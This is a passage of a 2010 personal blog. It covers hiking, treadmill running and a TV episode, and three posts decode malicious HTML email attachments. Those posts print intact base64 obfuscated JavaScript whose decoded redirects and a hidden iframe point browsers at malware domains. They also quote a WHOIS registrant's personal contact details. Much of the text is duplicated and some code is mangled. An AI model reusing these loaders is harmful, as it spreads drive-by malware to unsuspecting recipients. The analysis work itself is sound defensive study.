If you're not in a hurry, it's fairly easy to find and a lovely drive. As you might guess our racers did not have quite the nice time. Lots of complaints about no signs which prompted much shouting from me. "They are there if you take the time to read them!"
But to be fair, looking at Streetview there are not giant "Stonehenge this way" signs. Just the highway numbers so you have to know where you want to go. And in the case of the Stonehenge turn off the highway sign is painted on the street (you can see it here.) That never occurred to me before. Your navigator has to be able to see what's painted on the streets and The Amazing Race puts the second person in the back seat to accommodate the camera people. That's a huge handicap.
Though once you get there I assure you you won't need a sign. This is what you see from the highway.
Anyway it's a great episode (the parts at Eastnor Castle are both hilarious and traumatic), and if you see this while the season is running you can watch it here:
http://www.cbs.com/primetime/amazing_race/
Sunday, October 03, 2010
Hitting the Wall: Rethinking Altitude Sensitivity
I went yesterday doing an experimental day hike to Mt. Hoffman in Yosemite and pretty much everything I was assuming about altitude is wrong and this is very good news.
I went over to Yosemite to do a day hike of Mt Hoffman which is 10,850'.
In the past
I would hike until 7200' or 9600' and suddenly all the excess energy or oxgen (wasn't sure what) in my muscles would fizzle away. I could feel the it just dissipate or drain away with me going "wait, come back!" The 7200' limit I consistently hit on Shasta when I hiked up from Bunny Flat and also on Ralston Peak. The 9600' happens also on Shasta after spending a night at Horse Camp and it's also happened on Lassen (though Lassen seemed to happen more around 9000'.)
So I had some elaborate theory about there must be some change in the air pressure at that level. This is how you get all sorts of weirdo, crackpot theories and superstitions. You think you are seeing something consistently, but in fact you are managing to cause it in some other way.
Recently I've been working on a problem with my running. My foot would drag after 1 mile which was somewhat heat related, but the biggest factor was working too hard and letting my heart rate go up to 90% bpm which is not maintainable. Cutting it back to 85% of my max bpm made a huge difference and then I could go much further without a leg drag.
So I thought it was worth trying this out at altitude. My plan for today saw to attempt to climb Mt Hoffman (10,850') from the May Lake trailhead (8800'), but wear a heart rate monitor and keep my heart rate at 85%. I also took Diamox and Aspirin to increase my chances of success.
It short it WORKED!! I summitted and had energy to spare, and all my altitude theories are totally wrong.
So what has been happening is that my heart has been working too hard while climbing and my heart is not pumping enough oxygen to keep things going and I run out of energy which in cycling circles is called "bonking." It's worse at higher altitudes because the lower air pressure makes the oxygen harder to come by. I'm an endorphine junkie and I love working hard when exercising and the feel of my heart beating and being able to keep going hard.
I had to stop a lot to keep my heart rate down as especially at altitude it always wanted to climb over 85%. It makes for slow climbing and while I'm almost always never jealous of 20-somthings, their heart rates can work much harder without working anaerobically, and they can go racing by me. Hmphf. In theory, over time, they can run into the same problem and do on real mountains like Shasta.
What's cool about this is that I can work on my fitness level at sea-level and that will no doubt help and it much easier to obtain.
My original plan was to spend the night and do the climb again to see if there was a difference if I had adapted more to the elevation, but that's not necessary.
So what was happening? Why the consistency in elevation?
I think it was just a fabulous coincidence. That moment happened when I "hit the wall" and it turned out to be about the same amount of time that my heart rate was working too hard. In Shasta it happened more than twice, but I was leaving from the same location and working just as hard.
This is so fantastic as it means that the world has opened back up to me. I know I can now summit Whitney. Shasta is another issue as you have to be able to climb it within a certain amount of time. I'll work on my fitness level over the Winter and see if I can make a difference in the amount of time I can run before my heart rate climbs above 85% when either running above 4.0 mph or at some incline.
I might also try my Black Friday (day after Thanksgiving) snowshoe of Mt Shasta, but if I'm able to climb higher there could be an avalanche issue and I might be better off going over to Hidden Valley and up towards Shastina. Or just make things simpler and go to Lassen Park and Brokeoff Mtn which is right at the park entrance (the road through Lassen is closed in Winter.)
References
At first I thought what I was running into was called Oxygen Dept, but it's sounding more like:
Hitting the wall (Glycogen depletion)
http://en.wikipedia.org/wiki/Hitting_the_wall
What's interesting about this is:
So with low oxygen glycogen production is conpromised.
A little more info here
http://www.wellsphere.com/exercise-article/heart-muscles-do-not-get-tired-during-exercise/237117
An excellent description of the exercise process is here:
http://express.howstuffworks.com/web-quest-exercise.htm
Oxygen debt which I first thought I was dealing with is the term as it's more referring to the process when the body is at rest.
http://www.biology-online.org/dictionary/Oxygen_Debt
http://www.wisegeek.com/what-is-oxygen-debt.htm
http://www.personalpowertraining.net/Articles/oxygen_debt.htm
I went over to Yosemite to do a day hike of Mt Hoffman which is 10,850'.
In the past
I would hike until 7200' or 9600' and suddenly all the excess energy or oxgen (wasn't sure what) in my muscles would fizzle away. I could feel the it just dissipate or drain away with me going "wait, come back!" The 7200' limit I consistently hit on Shasta when I hiked up from Bunny Flat and also on Ralston Peak. The 9600' happens also on Shasta after spending a night at Horse Camp and it's also happened on Lassen (though Lassen seemed to happen more around 9000'.)
So I had some elaborate theory about there must be some change in the air pressure at that level. This is how you get all sorts of weirdo, crackpot theories and superstitions. You think you are seeing something consistently, but in fact you are managing to cause it in some other way.
Recently I've been working on a problem with my running. My foot would drag after 1 mile which was somewhat heat related, but the biggest factor was working too hard and letting my heart rate go up to 90% bpm which is not maintainable. Cutting it back to 85% of my max bpm made a huge difference and then I could go much further without a leg drag.
So I thought it was worth trying this out at altitude. My plan for today saw to attempt to climb Mt Hoffman (10,850') from the May Lake trailhead (8800'), but wear a heart rate monitor and keep my heart rate at 85%. I also took Diamox and Aspirin to increase my chances of success.
It short it WORKED!! I summitted and had energy to spare, and all my altitude theories are totally wrong.
So what has been happening is that my heart has been working too hard while climbing and my heart is not pumping enough oxygen to keep things going and I run out of energy which in cycling circles is called "bonking." It's worse at higher altitudes because the lower air pressure makes the oxygen harder to come by. I'm an endorphine junkie and I love working hard when exercising and the feel of my heart beating and being able to keep going hard.
I had to stop a lot to keep my heart rate down as especially at altitude it always wanted to climb over 85%. It makes for slow climbing and while I'm almost always never jealous of 20-somthings, their heart rates can work much harder without working anaerobically, and they can go racing by me. Hmphf. In theory, over time, they can run into the same problem and do on real mountains like Shasta.
What's cool about this is that I can work on my fitness level at sea-level and that will no doubt help and it much easier to obtain.
My original plan was to spend the night and do the climb again to see if there was a difference if I had adapted more to the elevation, but that's not necessary.
So what was happening? Why the consistency in elevation?
I think it was just a fabulous coincidence. That moment happened when I "hit the wall" and it turned out to be about the same amount of time that my heart rate was working too hard. In Shasta it happened more than twice, but I was leaving from the same location and working just as hard.
This is so fantastic as it means that the world has opened back up to me. I know I can now summit Whitney. Shasta is another issue as you have to be able to climb it within a certain amount of time. I'll work on my fitness level over the Winter and see if I can make a difference in the amount of time I can run before my heart rate climbs above 85% when either running above 4.0 mph or at some incline.
I might also try my Black Friday (day after Thanksgiving) snowshoe of Mt Shasta, but if I'm able to climb higher there could be an avalanche issue and I might be better off going over to Hidden Valley and up towards Shastina. Or just make things simpler and go to Lassen Park and Brokeoff Mtn which is right at the park entrance (the road through Lassen is closed in Winter.)
References
At first I thought what I was running into was called Oxygen Dept, but it's sounding more like:
Hitting the wall (Glycogen depletion)
http://en.wikipedia.org/wiki/Hitting_the_wall
What's interesting about this is:
Athletes engaged in exercise over a long period of time produce energy via two mechanisms, both facilitated by oxygen:
- via fat metabolism and
- via breakdown of glycogen into glucose, followed by glycolysis.
How much energy comes from either source depends on the intensity of the exercise. During intense exercise that approaches one's VO2 max, most of the energy comes from glycogen.
So with low oxygen glycogen production is conpromised.
A little more info here
http://www.wellsphere.com/exercise-article/heart-muscles-do-not-get-tired-during-exercise/237117
An excellent description of the exercise process is here:
http://express.howstuffworks.com/web-quest-exercise.htm
Oxygen debt which I first thought I was dealing with is the term as it's more referring to the process when the body is at rest.
http://www.biology-online.org/dictionary/Oxygen_Debt
http://www.wisegeek.com/what-is-oxygen-debt.htm
http://www.personalpowertraining.net/Articles/oxygen_debt.htm
Tuesday, September 21, 2010
Html virus inspired by a toy decoder ring
Here's a junior level virus attempt that's inspired by the cereal box decoder ring.
It's much easier to understand, and actually kinda fun to go through.
Subject: Please sign and send back to me asap
PHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPg0KPCEtLQ0KdmFyIHM9Ij1uZnViIWl1dXEu
ZnJ2anc+I3NmZ3NmdGkjIWRwb3Vmb3U+IzE8dnNtPml1dXE7MDBxYnN1em9mYnMvc3YjITA/IjsN
Cm09IiI7IGZvciAoaT0wOyBpPHMubGVuZ3RoOyBpKyspIHsJaWYocy5jaGFyQ29kZUF0KGkpID09
IDI4KXsJICBtKz0gJyYnO30gZWxzZSBpZiAocy5jaGFyQ29kZUF0KGkpID09IDIzKSB7CSAgbSs9
ICchJzt9IGVsc2UgewkgIG0rPVN0cmluZy5mcm9tQ2hhckNvZGUocy5jaGFyQ29kZUF0KGkpLTEp
Owl9fWRvY3VtZW50LndyaXRlKG0pOy8vLS0+DQo8L3NjcmlwdD4NCg==
------=_Part_5860_20528071.5734153553633
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Forgot the Attachment - Here ya go!
------=_Part_5860_20528071.5734153553633
Content-Type: text/html; name="85104attach.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="85104attach.html"
After decoding we have:
s="=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1iuuq;00qbsuzofbs/sv#!0?";
m is empty
iterate over the length of s, i is the counter
This is the important part:
m += String.fromCharCode(s.charCodeAt(i) - 1);
pretty basic, shift the letters to the one before
n becomes m, f become e
Looking at
http://www.cdrummond.qc.ca/cegep/informat/Professeurs/Alain/files/ascii.htm
to see what's the order of the punctuation (! becomes space, # becomes ", etc)
The first character = becomes a less than symbol, but I removed it to keep things from executing.
nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1iuuq;00qbsuzofbs/sv#!0?
meta http-equiv="refresh" content="0;url=http://partynear.ru" />
This rest is just small stuff to get the script to work. Actually I think the & is put in the wrong place.
m=[28th position] insert an &
m=[23rd position] insert an !
document.write(m) sends the string to the browser. The "refresh" is what makes it all happen.
So what is at partynear.ru?
Not much according to the text only browser Lynx. It says "Unexpected network read error"
jsunpack shows that there appears to be a redirect sending you further into the site into a Themes/card.js area that is trying to run another javascript. It's not clear if this is smoke or malware or something else.
It's much easier to understand, and actually kinda fun to go through.
Subject: Please sign and send back to me asap
PHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPg0KPCEtLQ0KdmFyIHM9Ij1uZnViIWl1dXEu
ZnJ2anc+I3NmZ3NmdGkjIWRwb3Vmb3U+IzE8dnNtPml1dXE7MDBxYnN1em9mYnMvc3YjITA/IjsN
Cm09IiI7IGZvciAoaT0wOyBpPHMubGVuZ3RoOyBpKyspIHsJaWYocy5jaGFyQ29kZUF0KGkpID09
IDI4KXsJICBtKz0gJyYnO30gZWxzZSBpZiAocy5jaGFyQ29kZUF0KGkpID09IDIzKSB7CSAgbSs9
ICchJzt9IGVsc2UgewkgIG0rPVN0cmluZy5mcm9tQ2hhckNvZGUocy5jaGFyQ29kZUF0KGkpLTEp
Owl9fWRvY3VtZW50LndyaXRlKG0pOy8vLS0+DQo8L3NjcmlwdD4NCg==
------=_Part_5860_20528071.5734153553633
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Forgot the Attachment - Here ya go!
------=_Part_5860_20528071.5734153553633
Content-Type: text/html; name="85104attach.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="85104attach.html"
After decoding we have:
[less than symbol] script type='text/javascript'>
var s = "=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1iuuq;00qbsuzofbs/sv#!0?";
m = "";
for (i = 0; i <>; i\<>
s="=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1
m is empty
iterate over the length of s, i is the counter
This is the important part:
m += String.fromCharCode(s.charCodeAt(i) - 1);
pretty basic, shift the letters to the one before
n becomes m, f become e
Looking at
http://www.cdrummond.qc.ca/cegep/informat/Professeurs/Alain/files/ascii.htm
to see what's the order of the punctuation (! becomes space, # becomes ", etc)
The first character = becomes a less than symbol, but I removed it to keep things from executing.
nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1
meta http-equiv="refresh" content="0;url=http://partynear.ru" />
This rest is just small stuff to get the script to work. Actually I think the & is put in the wrong place.
m=[28th position] insert an &
m=[23rd position] insert an !
document.write(m) sends the string to the browser. The "refresh" is what makes it all happen.
So what is at partynear.ru?
Not much according to the text only browser Lynx. It says "Unexpected network read error"
jsunpack shows that there appears to be a redirect sending you further into the site into a Themes/card.js area that is trying to run another javascript. It's not clear if this is smoke or malware or something else.
Monday, September 20, 2010
Decoding html viruses followup
The last post was getting too long so it was time to start a new one.
Now the subject line says "contract for sports complex" and going to through some of the previous decoding steps and feeding it into jsunpack leads us to a complicated scenario that the CyberCrime & Doing Time blog goes into here.
The browser visits a hostile site
h[broke]ttp://chautoy.co.za/x.html
It tells me that x.html is
info: [meta refresh] URL=xxxvideo-eyyc.cz.cc/video7/?afid=24
info: [iframe] findepotdirect.com/news/
which just looks like your basic Can we sell you some cheap pills? SpamRx. or in this case a porn site. BUT! you get this free surprise inside an iframe (that's an HTML thingy).
The sports complex one I went through decoded to (I've removed the opening angle bracket to keep the browser from trying to interpret it and changed http to h.ttp):
PLEASE WAITING.... 4 SECONDS meta h.ttp-equiv="refresh" content="4;url=h.ttp://xxxvideo-eyyc.cz.cc/video7/?afid=24" /> iframe width="0" height="0" src="h.ttp://findepotdirect.com/news/"> /iframe>
So while you are seeing xxxvideo-eyyc.cz.cc your browser is getting something else entirely.
jsunpack tells me it contains a file called 3.wav file which I find pretty strange., but on further examination it's part of the xxxvideo porn site so it's more smoke.
What I need is more info about: findepotdirect.com/news
A quick google of findepotdirect.com/news shows one link and it was created by yours truly when I did the above jsunpack run.
So I finally finished my local install of the text only browser "Lynx" running on a Linux system only to find out the site is gratefully down.
However the domain name is owned by someone:
And the contact info is hidden by the registrant Monkier:
Domain Name: FINDEPOTDIRECT.COM
Registrar: MONIKER
Registrant [3157846]:
Dennis Nanni root@munnuhome.com
6310 Rock Creek Rd
Tullahoma TN 37388 US
This domain was just registered a week ago, but still isn't really functional or was and is no longer.
So I still don't know what they're up to, but it's getting harder and harder to find out just what it is, though I have a feeling that if the findepotonline.com site answered then jsunpack would have more to say about it.
Now the subject line says "contract for sports complex" and going to through some of the previous decoding steps and feeding it into jsunpack leads us to a complicated scenario that the CyberCrime & Doing Time blog goes into here.
The browser visits a hostile site
h[broke]ttp://chautoy.co.za/x.html
It tells me that x.html is
info: [meta refresh] URL=xxxvideo-eyyc.cz.cc/video7/?afid=24
info: [iframe] findepotdirect.com/news/
which just looks like your basic Can we sell you some cheap pills? SpamRx. or in this case a porn site. BUT! you get this free surprise inside an iframe (that's an HTML thingy).
The sports complex one I went through decoded to (I've removed the opening angle bracket to keep the browser from trying to interpret it and changed http to h.ttp):
PLEASE WAITING.... 4 SECONDS meta h.ttp-equiv="refresh" content="4;url=h.ttp://xxxvideo-eyyc.cz.cc/video7/?afid=24" /> iframe width="0" height="0" src="h.ttp://findepotdirect.com/news/"> /iframe>
So while you are seeing xxxvideo-eyyc.cz.cc your browser is getting something else entirely.
jsunpack tells me it contains a file called 3.wav file which I find pretty strange., but on further examination it's part of the xxxvideo porn site so it's more smoke.
What I need is more info about: findepotdirect.com/news
A quick google of findepotdirect.com/news shows one link and it was created by yours truly when I did the above jsunpack run.
So I finally finished my local install of the text only browser "Lynx" running on a Linux system only to find out the site is gratefully down.
However the domain name is owned by someone:
Domain Name: FINDEPOTDIRECT.COM
Registrar: MONIKER ONLINE SERVICES, INC.
Whois Server: whois.moniker.com
Referral URL: http://www.moniker.com/whois.html
Name Server: NS1.DRAMCHINATEA.NET
Name Server: NS2.DRAMCHINATEA.NET
Status: clientDeleteProhibited
Status: clientTransferProhibited
Status: clientUpdateProhibited
Updated Date: 13-sep-2010
Creation Date: 13-sep-2010
Expiration Date: 13-sep-2011
And the contact info is hidden by the registrant Monkier:
Domain Name: FINDEPOTDIRECT.COM
Registrar: MONIKER
Registrant [3157846]:
Dennis Nanni root@munnuhome.com
6310 Rock Creek Rd
Tullahoma TN 37388 US
This domain was just registered a week ago, but still isn't really functional or was and is no longer.
So I still don't know what they're up to, but it's getting harder and harder to find out just what it is, though I have a feeling that if the findepotonline.com site answered then jsunpack would have more to say about it.
Decoding "html" viruses
My company has been getting a rash of viruses that come in as .html attachments.
The latest set has subject lines of "Delivery Status Notification (Failure)"
The interesting and useful thing about this viruses is that they are in obfuscated text form and you can decode them with effort.
If you look at the text it comes in as "Base 64" encoding and looks like:
Which you can put through a decoder at:
http://www.opinionatedgeek.com/dotnet/tools/base64decode/
Which gives you a Javascript all on one very long line.
Then you can take that and put it through a "beautifier" at
http://jsbeautifier.org/
Which yields something that looks like a long unerased whiteboard.
various things added lie [lessthan] to keep the system from thinking this is a script or html.
function etgr(zj4r) {
var
bo97, bvgy = "",
kpn8, iyv2 = "0ocdfum;ip/qrlx=nt.-:v he>s\"a[lessthan]",
p3je, j446 = iyv2.length;
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));
for (p3je = 0; p3je < bo97 =" zj4r.charAt(p3je);" kpn8 =" iyv2.indexOf(bo97);"> -1) {
kpn8 -= (p3je + 1) % j446;
if (kpn8 < 67y="%22%22;">s-0me-h;c=ox>ft:.h-00n.s-v:d;=x e\"moc>;a[lessthan]msatmsol[lessthan].ituqchiix-e[lessthan]u0:alpaxr");
So far the point of these viral scripts is to get the browser to go to a website and download and install malware. The majority of this script is junk. What you're looking for is something that can make a URL. So it's the longer lines that you want to look at.
Let's examine
By putting the stuff in quotes into yet another online URL translator at
http://ostermiller.org/calc/encode.html
The first line says
function raiy(kuyc){bvgy =kuyc}
Define a function called raiy that takes a value called kuyc and sets bvgy equal to it.
and the next says
document.write(bvgy);bvgy="";
The second line means write nothing so that's more junk.
The line
kpn8, iyv2 = "0ocdfum;ip/qrlx=nt.-:v he>s\"a<",
Looks way odd, but remember most of this is smoke, so keep the elements in mind.
This line sets two variables kpn8 and iyv2
How are these used in the scripts?
kpn8 is used but its meaning is changed immediately:
kpn8 = iyv2.indexOf(bo97);
which given that bo97 is nothing ("") I actually don't know what indexOf nothing does but 0 seems a safe bet.
and iyv2
p3je, j446 = iyv2.length;
raiy(iyv2.charAt(kpn8));
The length of that string is 31.
The last list called the previously defined function raiy and sends a 0 to it.
By the way, the meaning of the Javascript indexOf and charAt at explained here:
http://www.w3schools.com/jsref/jsref_charAt.asp
Looking back over the script I think we currently have a whole lot of possibly nothing.
The very last line is very suspect:
etgr("0i\"vda0>s-0me-h;c=ox>ft:.h-00n.s-v:d;=x e\"moc>;a<.ituqchiix-e
Out of desperation I googled msatmsol
and learned that other people where chasing the same thing down and were using this very cool (do I still get to say that?) site that also has an online decoder to which you can feed urls or scripts:
http://jsunpack.jeek.org
js unpack can handle multiple levels of Javascript so it goes through the same steps I did but then does another one.
And we get:
//eval function raiy(kuyc){bvgy+=kuyc}
//eval document.write(bvgy);bvgy="";
//document.write (s) [less than]meta equiv="refresh" content="0;url=http://numerouno-india.com/x.html">
[less than] meta http-equiv="refresh" content="0;url=h[.]ttp://numerouno-india.com/x.html" />
(I inserted the [.] to break the link.)
Bing Bing Bing! We have a winner - a URL. The jsunpack site goes on to check that the link has since been removed and is no longer a threat. Same scenario. Someone broke into that site and uploaded the virus x.html and then send out a bunch of .html emails that point to it and the victim's browser then downloads it and (if the use is an "Administrator") then installs it.
This is why on Windows it's a Really Good Idea to not be a user who has Administrator access when you're doing non-administrative things like reading email.
Now I really want to know how the unpacker was able to decode that last line in the scripts.
PS An excellent write up of an older (but easier to decipher) outbreak can be found at:
http://garwarner.blogspot.com/2010/06/more-twitter-spam-html-attached-threats.html
The latest set has subject lines of "Delivery Status Notification (Failure)"
The interesting and useful thing about this viruses is that they are in obfuscated text form and you can decode them with effort.
If you look at the text it comes in as "Base 64" encoding and looks like:
Content-Type: text/html; name="4727911.html"This example is:
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="4727911.html"
PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5j
dGlvbiBldGdyKHpqNHIpe3Zhcg0KYm85Nyxidmd5PSIiLGtwbjgsaXl2Mj0iMG9jZGZ1bTtpcC9x
cmx4PW50Li06diBoZT5zXCJhPCIscDNqZSxqNDQ2PWl5djIubGVuZ3RoO2V2YWwodW5lc2NhcGUo
IiU2NnVuJTYzdGklNkZuIHIlNjFpeSUyOGt1JTc5Yyl7JTYydmclNzkrPSU2QnV5YyU3RCIpKTtm
b3IocDNqZT0wO3AzamU8emo0ci5sZW5ndGg7cDNqZSsrKXtibzk3PXpqNHIuY2hhckF0KHAzamUp
O2twbjg9aXl2Mi5pbmRleE9mKGJvOTcpO2lmKGtwbjg+LTEpe2twbjgtPShwM2plKzEpJWo0NDY7
aWYoa3BuODwwKXtrcG44Kz1qNDQ2O31yYWl5KGl5djIuY2hhckF0KGtwbjgpKTt9ZWxzZXtyYWl5
KGJvOTcpO319ZXZhbCh1bmVzY2FwZSgiJTY0b2MlNzVtZSU2RXQudyU3Mml0JTY1KGIlNzZneSkl
M0JidiU2N3k9JTIyJTIyOyIpKTt9ZXRncigiMGlcInZkYTA+cy0wbWUtaDtjPW94PmZ0Oi5oLTAw
bi5zLXY6ZDs9eCBlXCJtb2M+O2E8bXNhdG1zb2w8Lml0dXFjaGlpeC1lPHUwOmFscGF4ciIpOzwv
c2NyaXB0Pjxub3NjcmlwdD5UbyBkaXNwbGF5IHRoaXMgcGFnZSB5b3UgbmVlZCBhIGJyb3dzZXIg
dGhhdCBzdXBwb3J0cyBKYXZhU2NyaXB0Ljwvbm9zY3JpcHQ+
Which you can put through a decoder at:
http://www.opinionatedgeek.com/dotnet/tools/base64decode/
Which gives you a Javascript all on one very long line.
Then you can take that and put it through a "beautifier" at
http://jsbeautifier.org/
Which yields something that looks like a long unerased whiteboard.
various things added lie [lessthan] to keep the system from thinking this is a script or html.
function etgr(zj4r) {
var
bo97, bvgy = "",
kpn8, iyv2 = "0ocdfum;ip/qrlx=nt.-:v he>s\"a[lessthan]",
p3je, j446 = iyv2.length;
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));
for (p3je = 0; p3je < bo97 =" zj4r.charAt(p3je);" kpn8 =" iyv2.indexOf(bo97);"> -1) {
kpn8 -= (p3je + 1) % j446;
if (kpn8 < 67y="%22%22;">s-0me-h;c=ox>ft:.h-00n.s-v:d;=x e\"moc>;a[lessthan]msatmsol[lessthan].ituqchiix-e[lessthan]u0:alpaxr");
So far the point of these viral scripts is to get the browser to go to a website and download and install malware. The majority of this script is junk. What you're looking for is something that can make a URL. So it's the longer lines that you want to look at.
Let's examine
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));and
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));
By putting the stuff in quotes into yet another online URL translator at
http://ostermiller.org/calc/encode.html
The first line says
function raiy(kuyc){bvgy =kuyc}
Define a function called raiy that takes a value called kuyc and sets bvgy equal to it.
and the next says
document.write(bvgy);bvgy="";
The second line means write nothing so that's more junk.
The line
kpn8, iyv2 = "0ocdfum;ip/qrlx=nt.-:v he>s\"a<",
Looks way odd, but remember most of this is smoke, so keep the elements in mind.
This line sets two variables kpn8 and iyv2
How are these used in the scripts?
kpn8 is used but its meaning is changed immediately:
kpn8 = iyv2.indexOf(bo97);
which given that bo97 is nothing ("") I actually don't know what indexOf nothing does but 0 seems a safe bet.
and iyv2
p3je, j446 = iyv2.length;
raiy(iyv2.charAt(kpn8));
The length of that string is 31.
The last list called the previously defined function raiy and sends a 0 to it.
By the way, the meaning of the Javascript indexOf and charAt at explained here:
http://www.w3schools.com/jsref/jsref_charAt.asp
Looking back over the script I think we currently have a whole lot of possibly nothing.
The very last line is very suspect:
etgr("0i\"vda0>s-0me-h;c=ox>ft:.h-00n.s-v:d;=x e\"moc>;a
Out of desperation I googled
and learned that other people where chasing the same thing down and were using this very cool (do I still get to say that?) site that also has an online decoder to which you can feed urls or scripts:
http://jsunpack.jeek.org
js unpack can handle multiple levels of Javascript so it goes through the same steps I did but then does another one.
And we get:
//eval function raiy(kuyc){bvgy+=kuyc}
//eval document.write(bvgy);bvgy="";
//document.write (s) [less than]meta equiv="refresh" content="0;url=http://numerouno-india.com/x.html">
[less than] meta http-equiv="refresh" content="0;url=h[.]ttp://numerouno-india.com/x.html" />
(I inserted the [.] to break the link.)
Bing Bing Bing! We have a winner - a URL. The jsunpack site goes on to check that the link has since been removed and is no longer a threat. Same scenario. Someone broke into that site and uploaded the virus x.html and then send out a bunch of .html emails that point to it and the victim's browser then downloads it and (if the use is an "Administrator") then installs it.
This is why on Windows it's a Really Good Idea to not be a user who has Administrator access when you're doing non-administrative things like reading email.
Now I really want to know how the unpacker was able to decode that last line in the scripts.
PS An excellent write up of an older (but easier to decipher) outbreak can be found at:
http://garwarner.blogspot.com/2010/06/more-twitter-spam-html-attached-threats.html
Thursday, September 16, 2010
Treadmill Running - a new record for slow
i managed to run 4 miles today on a treadmill. It took me 63 minutes which is close to what some people can walk, but I was running/jogging.
Same approach. Everytime my pulse got to 150 or 151 I dropped my speed by 0.1 or 0.2 mph. Started at 4.8 then to 4.6 then dropped it to 4.0 where I stayed until 2+ miles then I dropped it to sub 4.0 mph for the rest of the time.
While it was nice to know that I could go 4 miles which I've never done before, I think it might be a better use of my time to work on extending the amount of time that I can go at above 4.0 mph while keeping my pulse under 150 bpm. I can do this in 30 minutes instead of an hour (an hour on a treadmill is a long time even with music and watching cute kids learn soccer) unless I suddenly get a whole lot more fit and it takes longer for my pulse to go over 150. It's problems like these you wish for. The other cool thing was knowing that if I wanted to I could have gone longer.
I do need to replace my shoes as even though they've only been used on a treadmill they are less springy than they used to be.
Same approach. Everytime my pulse got to 150 or 151 I dropped my speed by 0.1 or 0.2 mph. Started at 4.8 then to 4.6 then dropped it to 4.0 where I stayed until 2+ miles then I dropped it to sub 4.0 mph for the rest of the time.
While it was nice to know that I could go 4 miles which I've never done before, I think it might be a better use of my time to work on extending the amount of time that I can go at above 4.0 mph while keeping my pulse under 150 bpm. I can do this in 30 minutes instead of an hour (an hour on a treadmill is a long time even with music and watching cute kids learn soccer) unless I suddenly get a whole lot more fit and it takes longer for my pulse to go over 150. It's problems like these you wish for. The other cool thing was knowing that if I wanted to I could have gone longer.
I do need to replace my shoes as even though they've only been used on a treadmill they are less springy than they used to be.
Sunday, September 12, 2010
Treadmill Running Breakthrough
For a while now I've been struggling with the issue that after running a mile, my right foot starts to drag and this really limits how well I can improve endurance-wise. I'm in better shape than that and this is a major impediment.
The issue was twofold which has made solving it a bit harder.
Heat on my back was the major problem as when a spot on my spine got hot the nerve conduction was compromised. This week I solved this by running in a one piece bathing suit that doesn't have a back (I also wear shorts over it too.). Doing that seemed to make a difference, but I was still struggling some after about 1.3 miles.
That's when I went back and did some more research on endurance training. I discovered in an earlier post that I'd been happily running at 90% of my max which is great mountaineering training where you have to be able to work at or near the point where you are working anaerobically, but it you want to increase your endurance you have to go slower.
In "The Outdoor Athlete" by Courtenay and Doug Schurman (which you can get at http://bodyresults.com), they have a section on Endurance Training.
They define 4 levels of intensity
I'd been working out at 160 bpm so I choose 150 bpm (even before looking up the above) as a limit. That works out to be around 85% of my max heart rate. This is pretty high, but it's difficult for me to keep my working heart rate under that when I'm really exercising and it seemed worth trying as a starting point.
A note on Max heart rate. If you really want to know your max heart rate get on a treadmill with a heart rate monitor and run till you drop and note your heart rate as you're dropping. I am not joking. All of the formulas are just estimates. 220-your age is off (by 5 for me). Even the more accurate 209-.7(your age) is off as I get older. (I should probably insert the usual "Please consult with your Doctor before trying to establish your max heart rate" caveat.)
So after a light meal (1/2 a sandwich) and equipped with lemonade (though I usually have Gatorade), in my bathing suit and shorts with my ipod and heart rate monitor off the gym I went.
The gym wasn't crowded and was decently cool. There was a Lacrosse game going on in the closest field to me that I could watch and ponder if Lacrosse really did have rules as they claim.
I entered in my info to the treadmill and chose a starting speed of 5.0 mph which is the speed I'd been working at. My idea was every time my heart rate got to 150-151 bpm, I would decrease my speed by 0.1-0.2 mph, even past the point of what I considered ridiculous.
Very quickly I decreased my speed to 4.8 mph
Then sometime after that to 4.6 mph
At that speed I passed 1.0 mile and then 1.25 miles. No leg drag. Somewhere in there I dropped it down to 4.4 and then not long after that was around 4.0 mph, but I was still running and no leg drag (and I'm starting to marvel at this). 2 miles passed and I was still ok. (Whoa). Then my pulse started to climb and I dropped it into the 3.8 range which is a really fast walk for some people, but I was definitely jogging and getting a good benefit from it and was in the middle of being amazed that I was still going. I stopped paying as much attention to the details as I was so far past my goals but when I hit 2.85 I realized that I might be able to make 5K (3.25). Dropping my speed to 3.6 mph and even occasionally as low as 3.5 mph worked. I discovered this a little while back on a different run. Going really slow can be beneficial and a great confidence booster.
My foot started to get sore so I finally stopped at 55 minutes and 3.63 miles which is the furthest I've ever run in one session and I didn't stop to walk at all. All this from keeping my pulse right at or just under 150 bpm. I was never out of breath and at 160 bpm (90% MHR) I definitely get that way. As I got further into the run I had to pay more attention on my foot placement but I was not battling chronic leg drag.
So the lessons were. Do what works for you. Though definitely use outside advice as a guide, but do what works for your body. I had to mentally get past running so slow, but that was an excellent workout for me. I can speed up later as my endurance improves.
It's also kinda cool that I got past the 5k limit as then if I wanted to I could enter a 5k run though things change when you're the one controlling the speed (instead of the treadmill) and other people are whizzing by you and you can't help but want to speed up, but that's another challenge for another day. I'm going to celebrate this milestone. i think it's time to make chocolate chip cookies.
The issue was twofold which has made solving it a bit harder.
Heat on my back was the major problem as when a spot on my spine got hot the nerve conduction was compromised. This week I solved this by running in a one piece bathing suit that doesn't have a back (I also wear shorts over it too.). Doing that seemed to make a difference, but I was still struggling some after about 1.3 miles.
